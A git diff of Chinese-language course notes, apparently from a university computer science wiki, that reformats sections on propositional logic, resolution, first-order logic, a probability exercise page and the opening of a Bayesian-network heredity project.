| 1 | 1 | - | 0 | 1 | 1 | 1 | - | 1 | 0 | 0 | 0 | - | 1 | 1 | 1 | 1 | +![](https://cdn.xyxsw.site/S31Ub9xcUo9yArxntWscU47pnwh.png) -- 等值消除(Biconditional Elimination) +| $P$ | $Q$ | $P\to Q$ | $\lnot P\lor Q$ | +| --- | --- | -------- | --------------- | +| 0 | 0 | 1 | 1 | +| 0 | 1 | 1 | 1 | +| 1 | 0 | 0 | 0 | +| 1 | 1 | 1 | 1 | - - 等值命题等价于蕴涵及其逆命题的 And 关系。 例如,“当且仅当 Harry 在室内时才下雨”等同于(“如果正在下雨,Harry 在室内”和“如果 Harry 在室内,则正在下雨”)。 +#### 等值消除 (Biconditional Elimination) - ![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/EtPMbOXWwopIZsxjUJ0cYvHXn5g.png) +等值命题等价于蕴涵及其逆命题的 And 关系。例如,“当且仅当 Harry 在室内时才下雨”等同于 (“如果正在下雨,Harry 在室内”和“如果 Harry 在室内,则正在下雨”)。 -- 德摩根律(De Morgan’s Law) +![](https://cdn.xyxsw.site/EtPMbOXWwopIZsxjUJ0cYvHXn5g.png) - - 可以将 And 连接词变成 Or 连接词。考虑以下命题:“哈利和罗恩都通过了考试是不正确的。” 由此,可以得出“哈利通过考试不是真的”或者“罗恩不是真的通过考试”的结论。 也就是说,要使前面的 And 命题为真,Or 命题中至少有一个命题必须为真。 +#### 德摩根律 (De Morgan’s Law) - ![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/GTagbx1jso6l8gx1rQOcPW3inIb.png) +可以将 And 连接词变成 Or 连接词。考虑以下命题:“哈利和罗恩都通过了考试是不正确的。”由此,可以得出“哈利通过考试不是真的”或者“罗恩不是真的通过考试”的结论。也就是说,要使前面的 And 命题为真,Or 命题中至少有一个命题必须为真。 - - 同样,可以得出相反的结论。考虑这个命题“哈利或罗恩通过考试是不正确的”。 这可以改写为“哈利没有通过考试”和“罗恩没有通过考试”。 +![](https://cdn.xyxsw.site/GTagbx1jso6l8gx1rQOcPW3inIb.png) - ![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/XOeTbb4BooRbKBx4gHwc3A7EnYf.png) +同样,可以得出相反的结论。考虑这个命题“哈利或罗恩通过考试是不正确的”。这可以改写为“哈利没有通过考试”和“罗恩没有通过考试”。 -- 分配律(Distributive Property) +![](https://cdn.xyxsw.site/XOeTbb4BooRbKBx4gHwc3A7EnYf.png) - - 具有两个用 And 或 Or 连接词分组的命题可以分解为由 And 和 Or 组成的更小单元。 +#### 分配律 (Distributive Property) - ![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/KBxzbZhUCoX7FBx5ZVFczfPvnoc.png) +具有两个用 And 或 Or 连接词分组的命题可以分解为由 And 和 Or 组成的更小单元。 - ![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/CvPybic63o7jSlxvuzpcFxjQnse.png) +![](https://cdn.xyxsw.site/KBxzbZhUCoX7FBx5ZVFczfPvnoc.png) -## 知识和搜索问题 +![](https://cdn.xyxsw.site/CvPybic63o7jSlxvuzpcFxjQnse.png) -- 推理可以被视为具有以下属性的搜索问题: +### 知识和搜索问题 - - 初始状态:知识库 - - 动作:推理规则 - - 过渡模型:推理后的新知识库 - - 目标测试:检查我们要证明的语句是否在知识库中 - - 路径成本:证明中的步骤数 -- 这显示了搜索算法的通用性,使我们能够使用推理规则根据现有知识推导出新信息。 +推理可以被视为具有以下属性的搜索问题: -# 归结(Resolution) +- 初始状态:知识库 +- 动作:推理规则 +- 过渡模型:推理后的新知识库 +- 目标测试:检查我们要证明的语句是否在知识库中 +- 路径成本:证明中的步骤数 -- 归结是一个强大的推理规则,它规定如果 Or 命题中的两个原子命题之一为假,则另一个必须为真。 例如,给定命题“Ron 在礼堂”或“Hermione 在图书馆”,除了命题“Ron 不在礼堂”之外,我们还可以得出“Hermione 在图书馆”的结论。 更正式地说,我们可以通过以下方式定义归结: +这显示了搜索算法的通用性,使我们能够使用推理规则根据现有知识推导出新信息。 - ![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/PBF7bNpPcoTh1bxP4rqcshA5nIg.png) +## 归结 (Resolution) - ![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/LTKXbs7VPoZxlqxfXfkczFh0nBh.png) +归结是一个强大的推理规则,它规定如果 Or 命题中的两个原子命题之一为假,则另一个必须为真。例如,给定命题“Ron 在礼堂”或“Hermione 在图书馆”,除了命题“Ron 不在礼堂”之外,我们还可以得出“Hermione 在图书馆”的结论。更正式地说,我们可以通过以下方式定义归结: -- 归结依赖于互补文字,两个相同的原子命题,其中一个被否定而另一个不被否定,例如$P$和$¬P$。 -- 归结可以进一步推广。 假设除了“Rom 在礼堂”或“Hermione 在图书馆”的命题外,我们还知道“Rom 不在礼堂”或“Harry 在睡觉”。 我们可以从中推断出“Hermione 在图书馆”或“Harry 在睡觉”。 正式地说: +![](https://cdn.xyxsw.site/PBF7bNpPcoTh1bxP4rqcshA5nIg.png) - ![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/MebubVSxRonfZ2xnYj9c5TYCnIg.png) +![](https://cdn.xyxsw.site/LTKXbs7VPoZxlqxfXfkczFh0nBh.png) - ![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/UZn3b4V8mo1OXxxKDQ0cAjwYnyf.png) +归结依赖于互补文字,两个相同的原子命题,其中一个被否定而另一个不被否定,例如$P$和$¬P$。 -- 互补文字使我们能够通过解析推理生成新句子。 因此,推理算法定位互补文字以生成新知识。 -- 从句(Clause)是多个原子命题的析取式(命题符号或命题符号的否定,例如$P$, $¬P$)。 析取式由Or逻辑连接词 ($P ∨ Q ∨ R$) 相连的命题组成。 另一方面,连接词由And逻辑连接词 ($P ∧ Q ∧ R$) 相连的命题组成。 从句允许我们将任何逻辑语句转换为合取范式 (CNF),它是从句的合取,例如:$(A ∨ B ∨ C) ∧ (D ∨ ¬E) ∧ (F ∨ G)$。 -- 命题转换为合取范式的步骤、 +归结可以进一步推广。假设除了“Rom 在礼堂”或“Hermione 在图书馆”的命题外,我们还知道“Rom 不在礼堂”或“Harry 在睡觉”。我们可以从中推断出“Hermione 在图书馆”或“Harry 在睡觉”。正式地说: - - 等值消除 +![](https://cdn.xyxsw.site/MebubVSxRonfZ2xnYj9c5TYCnIg.png) - - 将$(α↔ β)$转化为$(α→ β)∧ (β → α)$ - - 蕴含消除 +![](https://cdn.xyxsw.site/UZn3b4V8mo1OXxxKDQ0cAjwYnyf.png) +互补文字使我们能够通过解析推理生成新句子。因此,推理算法定位互补文字以生成新知识。 + +从句 (Clause) 是多个原子命题的析取式(命题符号或命题符号的否定,例如$P$, $¬P$)。析取式由 Or 逻辑连接词 ($P ∨ Q ∨ R$) 相连的命题组成。另一方面,连接词由 And 逻辑连接词 ($P ∧ Q ∧ R$) 相连的命题组成。从句允许我们将任何逻辑语句转换为合取范式 (CNF),它是从句的合取,例如:$(A ∨ B ∨ C) ∧ (D ∨ ¬E) ∧ (F ∨ G)$。 + +命题转换为合取范式的步骤、 + +1. 等值消除 + - 将$(α↔ β)$转化为$(α→ β)∧ (β → α)$ +2. 蕴含消除 - 将$(α→ β)$转化为$\lnotα∧β$ - - 使用德摩根定律,将否定向内移动,直到只有原子命题被否定(而不是从句) - - - 将$\lnot(\alpha∧β)$转换为$\lnotα\lor\lnotβ$ - - 下面是一个转换$(P∧Q)\to R$ - - 到合取范式的例子: - +3. 使用德摩根定律,将否定向内移动,直到只有原子命题被否定(而不是从句) + - 将$\lnot(\alpha∧β)$转换为$\lnotα\lor\lnotβ$ +4. 下面是一个转换$(P∧Q)\to R$到合取范式的例子: - $(P ∨ Q) → R$ - $\lnot(P\lor Q)\lor R$蕴含消除 - $(\lnot P\land\lnot Q)\lor R$德摩根律 - $(\lnot P\lor R)\land(\lnot Q\lor R)$分配律 -- 归结命题及其否定,即$\lnot P$和$P$,得到空从句$()$。空从句总是假的,这是有道理的,因为$P$和$\lnot P$ 不可能都是真的。归结算法使用了这个事实。 - - 确定是否$KB⊨α$: +归结命题及其否定,即$\lnot P$和$P$,得到空从句$()$。空从句总是假的,这是有道理的,因为$P$和$\lnot P$ 不可能都是真的。归结算法使用了这个事实。 - - 检查:$(KB∧\lnotα)$是矛盾的吗? +- 确定是否$KB⊨α$: + - 检查:$(KB∧\lnotα)$是矛盾的吗? + - 如果是这样,那么$KB⊨α$。 + - 否则,$KB$无法蕴含推理出$\alpha$。 - - 如果是这样,那么$KB⊨α$。 - - 否则,$KB$无法蕴含推理出$\alpha$。 -- 矛盾证明是计算机科学中经常使用的一种工具。如果我们的知识库是真的,并且它与$\lnot α$相矛盾,那就意味着$\lnot\alpha$是假的,因此$α$必须是真的。从技术上讲,该算法将执行以下操作: +矛盾证明是计算机科学中经常使用的一种工具。如果我们的知识库是真的,并且它与$\lnot α$相矛盾,那就意味着$\lnot\alpha$是假的,因此$α$必须是真的。从技术上讲,该算法将执行以下操作: - - 确定是否$KB⊨α$: - - 将$(KB∧\lnotα)$转换为合取范式。 - - 继续检查,看看我们是否可以使用归结来生成一个新的从句。 - - 如果我们生成了空从句(相当于 False),那么恭喜你!我们得出了一个矛盾,从而证明了$KB⊨α$。 - - 然而,如果没有实现矛盾,并且不能推断出更多的从句,那么就没有蕴含性。 - - 以下是一个示例,说明了该算法的工作原理: - - $(A ∨ B) ∧ (¬B ∨ C) ∧ (¬C)\vDash A?$ - - $(A ∨ B) ∧ (¬B ∨ C) ∧ (¬C) ∧ (¬A)$ - - $(\lnot B\lor C)\land\lnot C\vDash\lnot B\implies(A ∨ B) ∧ (¬B ∨ C) ∧ (¬C) ∧ (¬A)\land (\lnot B)$ - - $(A\lor B)\land\lnot B\vDash A\implies(A ∨ B) ∧ (¬B ∨ C) ∧ (¬C) ∧ (¬A)\land (\lnot B)\land(A)$ - - $(\lnot A\land A)\vDash ()\implies(A ∨ B) ∧ (¬B ∨ C) ∧ (¬C) ∧ (¬A)\land (\lnot B)\land(A)\land ()\implies False$ +- 确定是否$KB⊨α$: +- 将$(KB∧\lnotα)$转换为合取范式。 +- 继续检查,看看我们是否可以使用归结来生成一个新的从句。 +- 如果我们生成了空从句(相当于 False),那么恭喜你!我们得出了一个矛盾,从而证明了$KB⊨α$。 +- 然而,如果没有实现矛盾,并且不能推断出更多的从句,那么就没有蕴含性。 +- 以下是一个示例,说明了该算法的工作原理: + - $(A ∨ B) ∧ (¬B ∨ C) ∧ (¬C)\vDash A?$ + - $(A ∨ B) ∧ (¬B ∨ C) ∧ (¬C) ∧ (¬A)$ + - $(\lnot B\lor C)\land\lnot C\vDash\lnot B\implies(A ∨ B) ∧ (¬B ∨ C) ∧ (¬C) ∧ (¬A)\land (\lnot B)$ + - $(A\lor B)\land\lnot B\vDash A\implies(A ∨ B) ∧ (¬B ∨ C) ∧ (¬C) ∧ (¬A)\land (\lnot B)\land(A)$ + - $(\lnot A\land A)\vDash ()\implies(A ∨ B) ∧ (¬B ∨ C) ∧ (¬C) ∧ (¬A)\land (\lnot B)\land(A)\land ()\implies False$ -# 一阶逻辑(First Order Logic) +## 一阶逻辑 (First Order Logic) -- 一阶逻辑是另一种类型的逻辑,它使我们能够比命题逻辑更简洁地表达更复杂的想法。一阶逻辑使用两种类型的符号:常量符号和谓词符号。常量符号表示对象,而谓词符号类似于接受参数并返回 true 或 false 值的关系或函数。 -- 例如,我们回到霍格沃茨不同的人和家庭作业的逻辑谜题。常量符号是指人或房子,如 Minerva、Pomona、Gryffindor、Hufflepuff 等。谓语符号是一些常量符号的真或虚的属性。例如,我们可以使用句子 `person(Minerva)` 来表达 Minerva 是一个人的想法。同样,我们可以用 `house(Gryffindor)` 这个句子来表达 Gryffindor 是一所房子的想法。所有的逻辑连接词都以与以前相同的方式在一阶逻辑中工作。例如,$\lnot$`House(Minerva)` 表达了 Minerva 不是房子的想法。谓词符号也可以接受两个或多个自变量,并表达它们之间的关系。例如,BelongsTo 表达了两个论点之间的关系,即人和人所属的房子。因此,Minerva 拥有 Gryffindor 的想法可以表达为 `BelongsTo(Minerva,Gryffindor)`。一阶逻辑允许每个人一个符号,每个房子一个符号。这比命题逻辑更简洁,因为命题逻辑中每个人的房屋分配都需要不同的符号。 -- 全称量化(Universal Quantification) +一阶逻辑是另一种类型的逻辑,它使我们能够比命题逻辑更简洁地表达更复杂的想法。一阶逻辑使用两种类型的符号:常量符号和谓词符号。常量符号表示对象,而谓词符号类似于接受参数并返回 true 或 false 值的关系或函数。 - - 量化是一种可以在一阶逻辑中使用的工具,可以在不使用特定常量符号的情况下表示句子。全称量化使用符号$∀$来表示“所有”。例如,$\forall x(BelongsTo(x, Gryffindor) → ¬BelongsTo(x, Hufflepuff))$表达了这样一种观点,即对于每个符号来说,如果这个符号属于 Gryffindor,那么它就不属于 Hufflepuff。 -- 存在量化(Existential Quantification) +例如,我们回到霍格沃茨不同的人和家庭作业的逻辑谜题。常量符号是指人或房子,如 Minerva、Pomona、Gryffindor、Hufflepuff 等。谓语符号是一些常量符号的真或虚的属性。例如,我们可以使用句子 `person(Minerva)` 来表达 Minerva 是一个人的想法。同样,我们可以用 `house(Gryffindor)` 这个句子来表达 Gryffindor 是一所房子的想法。所有的逻辑连接词都以与以前相同的方式在一阶逻辑中工作。例如,$\lnot$`House(Minerva)` 表达了 Minerva 不是房子的想法。谓词符号也可以接受两个或多个自变量,并表达它们之间的关系。例如,BelongsTo 表达了两个论点之间的关系,即人和人所属的房子。因此,Minerva 拥有 Gryffindor 的想法可以表达为 `BelongsTo(Minerva,Gryffindor)`。一阶逻辑允许每个人一个符号,每个房子一个符号。这比命题逻辑更简洁,因为命题逻辑中每个人的房屋分配都需要不同的符号。 - - 存在量化是一个与全称量化平行的概念。然而,虽然全称量化用于创建对所有$x$都成立的句子,但存在量化用于创建至少对一个$x$成立的句子。它使用符号$∃$表示。例如,$∃x(House(x) ∧ BelongsTo(Minerva, x))$ 意味着至少有一个符号既是房子,又是属于 Minerva。换句话说,这表达了Minerva 拥有房子的想法。 -- 存在量化和全称量化可以用在同一个句子中。例如,$∀x(Person(x) → (∃y(House(y) ∧ BelongsTo(x, y))))$表达了这样一种观点,即如果$x$是一个人,那么这个人至少拥有一个房子$y$。换句话说,这句话的意思是每个人都拥有一所房子。 +### 全称量化 (Universal Quantification) + +量化是一种可以在一阶逻辑中使用的工具,可以在不使用特定常量符号的情况下表示句子。全称量化使用符号$∀$来表示“所有”。例如,$\forall x(BelongsTo(x, Gryffindor) → ¬BelongsTo(x, Hufflepuff))$表达了这样一种观点,即对于每个符号来说,如果这个符号属于 Gryffindor,那么它就不属于 Hufflepuff。 + +### 存在量化 (Existential Quantification) + +存在量化是一个与全称量化平行的概念。然而,虽然全称量化用于创建对所有$x$都成立的句子,但存在量化用于创建至少对一个$x$成立的句子。它使用符号$∃$表示。例如,$∃x(House(x) ∧ BelongsTo(Minerva, x))$ 意味着至少有一个符号既是房子,又是属于 Minerva。换句话说,这表达了 Minerva 拥有房子的想法。 + +存在量化和全称量化可以用在同一个句子中。例如,$∀x(Person(x) → (∃y(House(y) ∧ BelongsTo(x, y))))$表达了这样一种观点,即如果$x$是一个人,那么这个人至少拥有一个房子$y$。换句话说,这句话的意思是每个人都拥有一所房子。 还有其他类型的逻辑,它们之间的共同点是,它们都是为了表示信息而存在的。这些是我们用来在人工智能中表示知识的系统。 -# 补充材料 +## 补充材料 Introduction to the Theory of Computation, Third International Edition (Michael Sipser) -具体数学:计算机科学基础.第 2 版 +具体数学:计算机科学基础。第 2 版 diff --git a/4.人工智能/4.3.3.1程序示例.md b/4.人工智能/4.3.3.1程序示例.md index c3b1111..429dc50 100644 --- a/4.人工智能/4.3.3.1程序示例.md +++ b/4.人工智能/4.3.3.1程序示例.md @@ -1,13 +1,13 @@ # 程序示例 + ::: tip 阅读程序,然后“玩一玩”程序! 完成习题 ::: - ::: tip 📥 -本节附件下载 +本节附件下载 ::: 本节代码不做额外梳理,[不确定性问题](./4.3.3%E4%B8%8D%E7%A1%AE%E5%AE%9A%E6%80%A7%E9%97%AE%E9%A2%98.md) 中已有解释。 @@ -23,20 +23,18 @@ 6. About 0.327 7. About 0.5 8. None of the above -2. 想象一下,抛出两枚硬币,每枚硬币都有正面和反面,50% 的时间出现正面,50% 的时间出现反面。抛出这两枚硬币后,其中一枚是正面,另一枚是反面的概率是多少? - 1. 0 - 2. 0.125 - 3. 0.25 - 4. 0.375 - 5. 0.5 - 6. 0.625 - 7. 0.75 - 8. 0.875 - 9. 1 -3. 回答关于贝叶斯网络的问题,问题如下: - - ![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/PUesbhgsFoiucAxWBKYcUUU3nMd.png) - +2. 想象一下,抛出两枚硬币,每枚硬币都有正面和反面,50% 的时间出现正面,50% 的时间出现反面。抛出这两枚硬币后,其中一枚是正面,另一枚是反面的概率是多少? + 1. 0 + 2. 0.125 + 3. 0.25 + 4. 0.375 + 5. 0.5 + 6. 0.625 + 7. 0.75 + 8. 0.875 + 9. 1 +3. 回答关于贝叶斯网络的问题,问题如下: + ![](https://cdn.xyxsw.site/PUesbhgsFoiucAxWBKYcUUU3nMd.png) 以下哪句话是真的? 1. 假设我们知道有轨道维护,那么是否有雨并不影响列车准时到达的概率。 @@ -48,11 +46,11 @@ 1. 0.008 2. 0.012 3. 0.024 - 4. 0.028 - 5. 0.02 - 6. 0.06 - 7. 0.12 - 8. 0.2 - 9. 0.429 + 4. 0.028 + 5. 0.02 + 6. 0.06 + 7. 0.12 + 8. 0.2 + 9. 0.429 10. 0.6 11. None of the above diff --git a/4.人工智能/4.3.3.2项目:遗传.md b/4.人工智能/4.3.3.2项目:遗传.md index 86fb146..c598333 100644 --- a/4.人工智能/4.3.3.2项目:遗传.md +++ b/4.人工智能/4.3.3.2项目:遗传.md @@ -7,76 +7,92 @@ ::: ::: tip 📥 -本节附件下载 +本节附件下载 ::: ## 背景 -- GJB2 基因的突变版本是导致新生儿听力障碍的主要原因之一。每个人都携带两个版本的基因,因此每个人都有可能拥有 0、1 或 2 个听力障碍版本的 GJB2 基因。不过,除非一个人接受基因测试,否则要知道一个人拥有多少个变异的 GJB2 基因并不那么容易。这是一些 "隐藏状态":具有我们可以观察到的影响(听力损伤)的信息,但我们不一定直接知道。毕竟,有些人可能有 1 或 2 个突变的 GJB2 基因,但没有表现出听力障碍,而其他人可能没有突变的 GJB2 基因,但仍然表现出听力障碍。 -- 每个孩子都会从他们的父母那里继承一个 GJB2 基因。如果父母有两个变异基因,那么他们会将变异基因传给孩子;如果父母没有变异基因,那么他们不会将变异基因传给孩子;如果父母有一个变异基因,那么该基因传给孩子的概率为 0.5。不过,在基因被传递后,它有一定的概率发生额外的突变:从导致听力障碍的基因版本转变为不导致听力障碍的版本,或者反过来。 -- 我们可以尝试通过对所有相关变量形成一个贝叶斯网络来模拟所有这些关系,就像下面这个网络一样,它考虑了一个由两个父母和一个孩子组成的家庭。 +GJB2 基因的突变版本是导致新生儿听力障碍的主要原因之一。每个人都携带两个版本的基因,因此每个人都有可能拥有 0、1 或 2 个听力障碍版本的 GJB2 基因。不过,除非一个人接受基因测试,否则要知道一个人拥有多少个变异的 GJB2 基因并不那么容易。这是一些 "隐藏状态":具有我们可以观察到的影响(听力损伤)的信息,但我们不一定直接知道。毕竟,有些人可能有 1 或 2 个突变的 GJB2 基因,但没有表现出听力障碍,而其他人可能没有突变的 GJB2 基因,但仍然表现出听力障碍。 -![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/FNyab3RWQo3EA8xu8T7cyLwhnyh.png) +每个孩子都会从他们的父母那里继承一个 GJB2 基因。如果父母有两个变异基因,那么他们会将变异基因传给孩子;如果父母没有变异基因,那么他们不会将变异基因传给孩子;如果父母有一个变异基因,那么该基因传给孩子的概率为 0.5。不过,在基因被传递后,它有一定的概率发生额外的突变:从导致听力障碍的基因版本转变为不导致听力障碍的版本,或者反过来。 -- 家庭中的每个人都有一个 `Gene` 随机变量,代表一个人有多少个特定基因(例如,GJB2 的听力障碍版本):一个 0、1 或 2 的值。家族中的每个人也有一个 `Trait` 随机变量,它是 `yes` 或 `no`,取决于该人是否表达基于该基因的性状(例如,听力障碍)。从每个人的 `Gene` 变量到他们的 `Trait` 变量之间有一个箭头,以编码一个人的基因影响他们具有特定性状的概率的想法。同时,也有一个箭头从母亲和父亲的 `Gene` 随机变量到他们孩子的 `Gene` 随机变量:孩子的基因取决于他们父母的基因。 -- 你在这个项目中的任务是使用这个模型对人群进行推断。给出人们的信息,他们的父母是谁,以及他们是否具有由特定基因引起的特定可观察特征(如听力损失),你的人工智能将推断出每个人的基因的概率分布,以及任何一个人是否会表现出有关特征的概率分布。 +我们可以尝试通过对所有相关变量形成一个贝叶斯网络来模拟所有这些关系,就像下面这个网络一样,它考虑了一个由两个父母和一个孩子组成的家庭。 + +![](https://cdn.xyxsw.site/FNyab3RWQo3EA8xu8T7cyLwhnyh.png) + +家庭中的每个人都有一个 `Gene` 随机变量,代表一个人有多少个特定基因(例如,GJB2 的听力障碍版本):一个 0、1 或 2 的值。家族中的每个人也有一个 `Trait` 随机变量,它是 `yes` 或 `no`,取决于该人是否表达基于该基因的性状(例如,听力障碍)。从每个人的 `Gene` 变量到他们的 `Trait` 变量之间有一个箭头,以编码一个人的基因影响他们具有特定性状的概率的想法。同时,也有一个箭头从母亲和父亲的 `Gene` 随机变量到他们孩子的 `Gene` 随机变量:孩子的基因取决于他们父母的基因。 + +你在这个项目中的任务是使用这个模型对人群进行推断。给出人们的信息,他们的父母是谁,以及他们是否具有由特定基因引起的特定可观察特征(如听力损失),你的人工智能将推断出每个人的基因的概率分布,以及任何一个人是否会表现出有关特征的概率分布。 ## 理解 -- 打开 `data/family0.csv`,看看数据目录中的一个样本数据集(你可以在文本编辑器中打开,或者在 Google Sheets、Excel 或 Apple Numbers 等电子表格应用程序中打开)。注意,第一行定义了这个 CSV 文件的列:`name`, `mother`, `father`, 和 `trait`。下一行表明 Harry 的母亲是 Lily,父亲是 James,而 `Trait` 的空单元格意味着我们不知道 Harry 是否有这种性状。同时,James 在我们的数据集中没有列出父母(如母亲和父亲的空单元格所示),但确实表现出了性状(如 `Trait` 单元格中的 1 所示)。另一方面,Lily 在数据集中也没有列出父母,但没有表现出这种性状(如 `Trait` 单元格中的 0 表示)。 -- 打开 `heredity.py`,首先看一下 `PROBS` 的定义。`PROBS` 是一个包含若干常数的字典,代表各种不同事件的概率。所有这些事件都与一个人拥有多少个特定的突变基因,以及一个人是否基于该基因表现出特定的性状有关。这里的数据松散地基于 GJB2 基因的听力障碍版本和听力障碍性状的概率,但通过改变这些值,你也可以用你的人工智能来推断其他的基因和性状! -- 首先,`PROBS["gene"]` 代表了该基因的无条件概率分布(即如果我们对该人的父母一无所知的概率)。根据分布代码中的数据,在人群中,有 1% 的机会拥有该基因的 2 个副本,3% 的机会拥有该基因的 1 个副本,96% 的机会拥有该基因的零副本。 -- 接下来,`PROBS["trait"]` 表示一个人表现出某种性状(如听力障碍)的条件概率。这实际上是三个不同的概率分布:基因的每个可能值都有一个。因此,`PROBS["trait"][2]` 是一个人在有两个突变基因的情况下具有该特征的概率分布:在这种情况下,他们有 65% 的机会表现出该特征,而有 35% 的机会不表现出该特征。同时,如果一个人有 0 个变异基因,他们有 1% 的机会表现出该性状,99% 的机会不表现出该性状。 -- 最后,`PROBS["mutation"]` 是一个基因从作为相关基因突变为不是该基因的概率,反之亦然。例如,如果一个母亲有两个变异基因,并因此将其中一个传给她的孩子,就有 1% 的机会突变为不再是变异基因。相反,如果一个母亲没有任何变异基因,因此没有把变异基因传给她的孩子,但仍有 1% 的机会突变为变异基因。因此,即使父母双方都没有变异基因,他们的孩子也可能有 1 个甚至 2 个变异基因。 -- 最终,你计算的概率将以 `PROBS` 中的这些数值为基础。 -- 现在,看一下 `main` 函数。该函数首先将数据从一个文件加载到一个字典 `people` 中。`people` 将每个人的名字映射到另一个包含他们信息的字典中:包括他们的名字,他们的母亲(如果数据集中有一个母亲),他们的父亲(如果数据集中有一个父亲),以及他们是否被观察到有相关的特征(如果有则为 `True`,没有则为 `False`,如果我们不知道则为 `None`)。 -- 接下来,`main` 中定义了一个字典 `probabilities`,所有的概率最初都设置为 0。这就是你的项目最终要计算的内容:对于每个人,你的人工智能将计算他们有多少个变异基因的概率分布,以及他们是否具有该性状。例如,`probabilities["Harry"]["gene"][1]` 将是 Harry 有 1 个变异基因的概率,而 `probabilities["Lily"]["trait"][False]` 将是 Lily 没有表现出该性状的概率。 -- 如果不熟悉的话,这个 `probabilities` 字典是用 [python 字典](https://www.python.org/dev/peps/pep-0274/)创建的,在这种情况下,它为我们的 `people` 中的每个 `person` 创建一个键/值对。 -- 最终,我们希望根据一些证据来计算这些概率:鉴于我们知道某些人有或没有这种特征,我们想确定这些概率。你在这个项目中的任务是实现三个函数来做到这一点: `joint_probability` 计算一个联合概率,`update` 将新计算的联合概率添加到现有的概率分布中,然后 `normalize` 以确保所有概率分布最后和为 1。 +打开 `data/family0.csv`,看看数据目录中的一个样本数据集(你可以在文本编辑器中打开,或者在 Google Sheets、Excel 或 Apple Numbers 等电子表格应用程序中打开)。注意,第一行定义了这个 CSV 文件的列:`name`, `mother`, `father`, 和 `trait`。下一行表明 Harry 的母亲是 Lily,父亲是 James,而 `Trait` 的空单元格意味着我们不知道 Harry 是否有这种性状。同时,James 在我们的数据集中没有列出父母(如母亲和父亲的空单元格所示),但确实表现出了性状(如 `Trait` 单元格中的 1 所示)。另一方面,Lily 在数据集中也没有列出父母,但没有表现出这种性状(如 `Trait` 单元格中的 0 表示)。 + +打开 `heredity.py`,首先看一下 `PROBS` 的定义。`PROBS` 是一个包含若干常数的字典,代表各种不同事件的概率。所有这些事件都与一个人拥有多少个特定的突变基因,以及一个人是否基于该基因表现出特定的性状有关。这里的数据松散地基于 GJB2 基因的听力障碍版本和听力障碍性状的概率,但通过改变这些值,你也可以用你的人工智能来推断其他的基因和性状! + +首先,`PROBS["gene"]` 代表了该基因的无条件概率分布(即如果我们对该人的父母一无所知的概率)。根据分布代码中的数据,在人群中,有 1% 的机会拥有该基因的 2 个副本,3% 的机会拥有该基因的 1 个副本,96% 的机会拥有该基因的零副本。 + +接下来,`PROBS["trait"]` 表示一个人表现出某种性状(如听力障碍)的条件概率。这实际上是三个不同的概率分布:基因的每个可能值都有一个。因此,`PROBS["trait"][2]` 是一个人在有两个突变基因的情况下具有该特征的概率分布:在这种情况下,他们有 65% 的机会表现出该特征,而有 35% 的机会不表现出该特征。同时,如果一个人有 0 个变异基因,他们有 1% 的机会表现出该性状,99% 的机会不表现出该性状。 + +最后,`PROBS["mutation"]` 是一个基因从作为相关基因突变为不是该基因的概率,反之亦然。例如,如果一个母亲有两个变异基因,并因此将其中一个传给她的孩子,就有 1% 的机会突变为不再是变异基因。相反,如果一个母亲没有任何变异基因,因此没有把变异基因传给她的孩子,但仍有 1% 的机会突变为变异基因。因此,即使父母双方都没有变异基因,他们的孩子也可能有 1 个甚至 2 个变异基因。 + +最终,你计算的概率将以 `PROBS` 中的这些数值为基础。 + +现在,看一下 `main` 函数。该函数首先将数据从一个文件加载到一个字典 `people` 中。`people` 将每个人的名字映射到另一个包含他们信息的字典中:包括他们的名字,他们的母亲(如果数据集中有一个母亲),他们的父亲(如果数据集中有一个父亲),以及他们是否被观察到有相关的特征(如果有则为 `True`,没有则为 `False`,如果我们不知道则为 `None`)。 +接下来,`main` 中定义了一个字典 `probabilities`,所有的概率最初都设置为 0。这就是你的项目最终要计算的内容:对于每个人,你的人工智能将计算他们有多少个变异基因的概率分布,以及他们是否具有该性状。例如,`probabilities["Harry"]["gene"][1]` 将是 Harry 有 1 个变异基因的概率,而 `probabilities["Lily"]["trait"][False]` 将是 Lily 没有表现出该性状的概率。 + +如果不熟悉的话,这个 `probabilities` 字典是用 [python 字典](https://www.python.org/dev/peps/pep-0274/)创建的,在这种情况下,它为我们的 `people` 中的每个 `person` 创建一个键/值对。 + +最终,我们希望根据一些证据来计算这些概率:鉴于我们知道某些人有或没有这种特征,我们想确定这些概率。你在这个项目中的任务是实现三个函数来做到这一点: `joint_probability` 计算一个联合概率,`update` 将新计算的联合概率添加到现有的概率分布中,然后 `normalize` 以确保所有概率分布最后和为 1。 ## 明确 -- 完成 `joint_probability`、`update` 和 `normalize` 的实现。 -- `joint_probability` 函数应该接受一个 `people` 的字典作为输入,以及关于谁拥有多少个变异基因,以及谁表现出该特征的数据。该函数应该返回所有这些事件发生的联合概率。 +完成 `joint_probability`、`update` 和 `normalize` 的实现。 - - 该函数接受四个数值作为输入:`people`, `one_gene`, `two_genes`, 和 `have_trait`。 +`joint_probability` 函数应该接受一个 `people` 的字典作为输入,以及关于谁拥有多少个变异基因,以及谁表现出该特征的数据。该函数应该返回所有这些事件发生的联合概率。 - - `people` 是一个在 "理解"一节中描述的人的字典。键代表名字,值是包含 `mother` 和 `father` 键的字典。你可以假设 `mother` 和 `father` 都是空白的(数据集中没有父母的信息),或者 `mother` 和 `father` 都会指代 `people` 字典中的其他人物。 - - `one_gene` 是一个集合,我们想计算所有集合元素有一个变异基因的概率。 - - `two_genes` 是一个集合,我们想计算所有集合元素有两个变异基因的概率。 - - `have_trait` 是一个集合,我们想计算所有集合元素拥有该性状的概率。 - - 对于不在 `one_gene` 或 t `wo_genes` 中的人,我们想计算他们没有变异基因的概率;对于不在 `have_trait` 中的人,我们想计算他们没有该性状的概率。 - - - 例如,如果这个家庭由 